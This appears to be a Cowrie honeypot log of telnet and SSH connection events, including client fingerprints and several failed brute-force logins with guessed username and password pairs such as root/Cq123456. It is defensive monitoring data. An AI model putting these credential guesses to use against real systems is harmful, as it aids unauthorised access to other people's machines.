{"eventid":"cowrie.session.closed","duration":31.687955379486084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:12.705266Z","src_ip":"185.185.82.165","session":"cc11ed52114e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.056880950927734,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:12.757905Z","src_ip":"185.185.82.165","session":"4ea54da6ff2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.43694877624512,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:15.548835Z","src_ip":"185.185.82.165","session":"efae011e2603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.309836626052856,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:15.824834Z","src_ip":"185.185.82.165","session":"55fc9b52f564","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72775936126709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:16.562227Z","src_ip":"185.185.82.165","session":"6723a5cb2dc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.255621910095215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:18.859509Z","src_ip":"185.185.82.165","session":"054ef6b5a376","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":58328,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b95f19fc75a","protocol":"telnet","message":"New connection: 185.185.82.165:58328 (159.203.135.109:23) [session: 5b95f19fc75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:19.315506Z"}
{"eventid":"cowrie.session.closed","duration":31.119699716567993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:26.681741Z","src_ip":"185.185.82.165","session":"156b8d3ebd99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832671880722046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:29.194983Z","src_ip":"185.185.82.165","session":"c640036ec86b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":35274,"dst_ip":"159.203.135.109","dst_port":23,"session":"a337471a33c1","protocol":"telnet","message":"New connection: 185.185.82.165:35274 (159.203.135.109:23) [session: a337471a33c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:32.330429Z"}
{"eventid":"cowrie.session.closed","duration":30.88896369934082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:37.777448Z","src_ip":"185.185.82.165","session":"cb2b89e85dc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":57734,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1128cb27935","protocol":"telnet","message":"New connection: 185.185.82.165:57734 (159.203.135.109:23) [session: c1128cb27935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:37.928521Z"}
{"eventid":"cowrie.session.closed","duration":31.654977321624756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:39.569452Z","src_ip":"185.185.82.165","session":"636325fea2e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.713329315185547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:39.827380Z","src_ip":"185.185.82.165","session":"dcc7db6771e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":47772,"dst_ip":"159.203.135.109","dst_port":22,"session":"7744d7a7fd61","protocol":"ssh","message":"New connection: 187.16.96.250:47772 (159.203.135.109:22) [session: 7744d7a7fd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:40.984658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:40.988996Z","src_ip":"187.16.96.250","session":"7744d7a7fd61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:41.104909Z","src_ip":"187.16.96.250","session":"7744d7a7fd61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:41.604625Z","src_ip":"187.16.96.250","session":"7744d7a7fd61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:42.724754Z","src_ip":"187.16.96.250","session":"7744d7a7fd61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":57740,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa4d7267ea5e","protocol":"telnet","message":"New connection: 185.185.82.165:57740 (159.203.135.109:23) [session: fa4d7267ea5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:42.856773Z"}
{"eventid":"cowrie.session.closed","duration":31.293715476989746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:50.609118Z","src_ip":"185.185.82.165","session":"5b95f19fc75a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":47444,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f90af7fb76a","protocol":"telnet","message":"New connection: 69.65.3.189:47444 (10.17.0.5:23) [session: 5f90af7fb76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:55.679696Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":59502,"dst_ip":"159.203.135.109","dst_port":23,"session":"36985f2a41ea","protocol":"telnet","message":"New connection: 185.185.82.165:59502 (159.203.135.109:23) [session: 36985f2a41ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:59.130831Z"}
{"eventid":"cowrie.session.closed","duration":50.66686010360718,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:00.480057Z","src_ip":"185.26.126.47","session":"7abb395af480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.541572332382202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:03.871859Z","src_ip":"185.185.82.165","session":"a337471a33c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54187297821045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:08.470264Z","src_ip":"185.185.82.165","session":"c1128cb27935","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":32980,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfe731cde5e6","protocol":"telnet","message":"New connection: 185.185.82.165:32980 (159.203.135.109:23) [session: dfe731cde5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:08.675251Z"}
{"eventid":"cowrie.session.closed","duration":31.153644800186157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:14.010296Z","src_ip":"185.185.82.165","session":"fa4d7267ea5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":19538,"dst_ip":"10.17.0.5","dst_port":22,"session":"56e25ecad110","protocol":"ssh","message":"New connection: 194.59.206.2:19538 (10.17.0.5:22) [session: 56e25ecad110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:19.781127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:19.786244Z","src_ip":"194.59.206.2","session":"56e25ecad110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:19.870057Z","src_ip":"194.59.206.2","session":"56e25ecad110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:19.957589Z","src_ip":"194.59.206.2","session":"56e25ecad110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50530,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c8969a5e0dd","protocol":"telnet","message":"New connection: 185.185.82.165:50530 (159.203.135.109:23) [session: 3c8969a5e0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:31.325104Z"}
{"eventid":"cowrie.session.closed","duration":32.77554965019226,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:31.906233Z","src_ip":"185.185.82.165","session":"36985f2a41ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.216.33.33","src_port":20259,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6c79d858cc6","protocol":"telnet","message":"New connection: 200.216.33.33:20259 (159.203.135.109:23) [session: c6c79d858cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:32.312389Z"}
{"eventid":"cowrie.session.closed","duration":37.267131090164185,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:32.946709Z","src_ip":"69.65.3.189","session":"5f90af7fb76a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076037406921387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:39.751158Z","src_ip":"185.185.82.165","session":"dfe731cde5e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.964330911636353,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:13:44.276386Z","src_ip":"200.216.33.33","session":"c6c79d858cc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47185158729553,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:14:03.796841Z","src_ip":"185.185.82.165","session":"3c8969a5e0dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":51452,"dst_ip":"159.203.135.109","dst_port":23,"session":"218e3863ae9d","protocol":"telnet","message":"New connection: 185.185.82.165:51452 (159.203.135.109:23) [session: 218e3863ae9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:14:11.307692Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48710,"dst_ip":"10.17.0.5","dst_port":22,"session":"189e1406d8cf","protocol":"ssh","message":"New connection: 80.94.92.184:48710 (10.17.0.5:22) [session: 189e1406d8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:14:21.038219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:14:21.072883Z","src_ip":"80.94.92.184","session":"189e1406d8cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:14:21.211833Z","src_ip":"80.94.92.184","session":"189e1406d8cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv@123","message":"login attempt [solv/solv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:14:21.795829Z","src_ip":"80.94.92.184","session":"189e1406d8cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:14:22.987266Z","src_ip":"80.94.92.184","session":"189e1406d8cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.34179329872131,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:14:43.649387Z","src_ip":"185.185.82.165","session":"218e3863ae9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":49448,"dst_ip":"10.17.0.5","dst_port":22,"session":"0841fba6c1ef","protocol":"ssh","message":"New connection: 209.99.185.195:49448 (10.17.0.5:22) [session: 0841fba6c1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:14:59.016053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:14:59.020948Z","src_ip":"209.99.185.195","session":"0841fba6c1ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:14:59.134388Z","src_ip":"209.99.185.195","session":"0841fba6c1ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cq123456","message":"login attempt [root/Cq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:14:59.621312Z","src_ip":"209.99.185.195","session":"0841fba6c1ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:15:00.759318Z","src_ip":"209.99.185.195","session":"0841fba6c1ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":42918,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8899cb412d6","protocol":"telnet","message":"New connection: 69.65.3.189:42918 (10.17.0.5:23) [session: c8899cb412d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:15:18.249109Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":60472,"dst_ip":"159.203.135.109","dst_port":22,"session":"c70e813519ca","protocol":"ssh","message":"New connection: 187.16.96.250:60472 (159.203.135.109:22) [session: c70e813519ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:15:55.515369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:15:55.520436Z","src_ip":"187.16.96.250","session":"c70e813519ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:15:55.639723Z","src_ip":"187.16.96.250","session":"c70e813519ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe456","message":"login attempt [ubuntu/123qwe456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:15:56.137165Z","src_ip":"187.16.96.250","session":"c70e813519ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:15:57.258060Z","src_ip":"187.16.96.250","session":"c70e813519ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.89768147468567,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:16:00.146680Z","src_ip":"69.65.3.189","session":"c8899cb412d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":52182,"dst_ip":"10.17.0.5","dst_port":23,"session":"889ad20f7e0e","protocol":"telnet","message":"New connection: 69.65.3.189:52182 (10.17.0.5:23) [session: 889ad20f7e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:16:10.349670Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":39762,"dst_ip":"10.17.0.5","dst_port":22,"session":"87ce226add3b","protocol":"ssh","message":"New connection: 209.99.185.195:39762 (10.17.0.5:22) [session: 87ce226add3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:16:18.716916Z"}
